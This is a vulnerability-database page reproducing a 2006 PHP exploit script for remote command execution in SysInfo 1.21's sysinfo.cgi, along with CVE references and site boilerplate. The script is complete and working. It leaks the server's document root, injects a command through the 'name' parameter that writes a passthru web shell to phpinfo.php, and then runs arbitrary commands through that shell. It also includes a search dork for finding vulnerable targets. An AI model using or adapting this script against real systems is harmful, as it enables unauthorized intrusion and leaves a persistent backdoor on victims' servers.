Lucene search
+L

SysInfo 1.21 - 'sysinfo.cgi' Remote Command Execution

🗓️ 14 Apr 2006 00:00:00Reported by rgodType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 64 Views

SysInfo 1.21 - 'sysinfo.cgi' Remote Command Execution. Script allows remote command execution via sysinfo.cgi 1.21 by manipulating 'action' parameter. Also discloses system path information and allows creation of PHP shell

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2006-1831
19 Apr 200616:00
cve
cve
CVE
CVE-2006-1832
19 Apr 200616:00
cve
cvelist
Cvelist
CVE-2006-1831
19 Apr 200616:00
cvelist
cvelist
Cvelist
CVE-2006-1832
19 Apr 200616:00
cvelist
euvd
EUVD
EUVD-2006-1832
7 Oct 202500:30
euvd
nvd
NVD
CVE-2006-1831
19 Apr 200616:06
nvd
nvd
NVD
CVE-2006-1832
19 Apr 200616:06
nvd
prion
Prion
Code injection
19 Apr 200616:06
prion
prion
Prion
Design/Logic Flaw
19 Apr 200616:06
prion
nessus
Tenable Nessus
Sysinfo name Parameter Arbitrary Code Execution
17 Apr 200600:00
nessus
Rows per page
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "sysinfo.cgi 1.21 remote cmmnds xctn \r\n";
echo "by rgod [email protected]\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: inurl:sysinfo.cgi ext:cgi\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to sysinfo.cgi\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /cgi-bin/sysinfo/ \n";
echo "php ".$argv[0]." localhost /cgi-bin/sysinfo/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost /cgi-bin/ ls -la -P1.1.1.1:80\r\n";
die;
}

/* tested on sysinfo.cgi v1.21:

   http;//[target]/cgi-bin/sysinfo.cgi?action=systemdoc&name=;[some_command]

   you don't see any output but you can redirect some shellcode to some file

   also you can disclose www path:

   http;//[target]/cgi-bin/sysinfo.cgi?action=debugger
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//step 1 -> retrieve application path
$packet ="GET ".$p."sysinfo.cgi?action=debugger HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);
$temp=explode("name=\"pfad\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$pfad=$temp2[0];
if ($pfad=='') {die("cannot retrieve document root...\r\n");}
echo "document root ->".$pfad."\r\n";


//step 2 -> we don't see any output, so let's create a php shell, you know, I'm phpcentric
$temp=";echo \<?php passtrhu\(\\\$_GET[cmd]\)?\> > ".$pfad."/phpinfo.php";
$temp=urlencode($temp);
$packet ="GET ".$p."sysinfo.cgi?action=systemdoc&name=".$temp." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);

//step 3 -> launch commands
$packet ="GET /phpinfo.php?cmd=".urlencode($cmd)." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);
echo $html;
?>

# milw0rm.com [2006-04-14]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Apr 2006 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.0833
64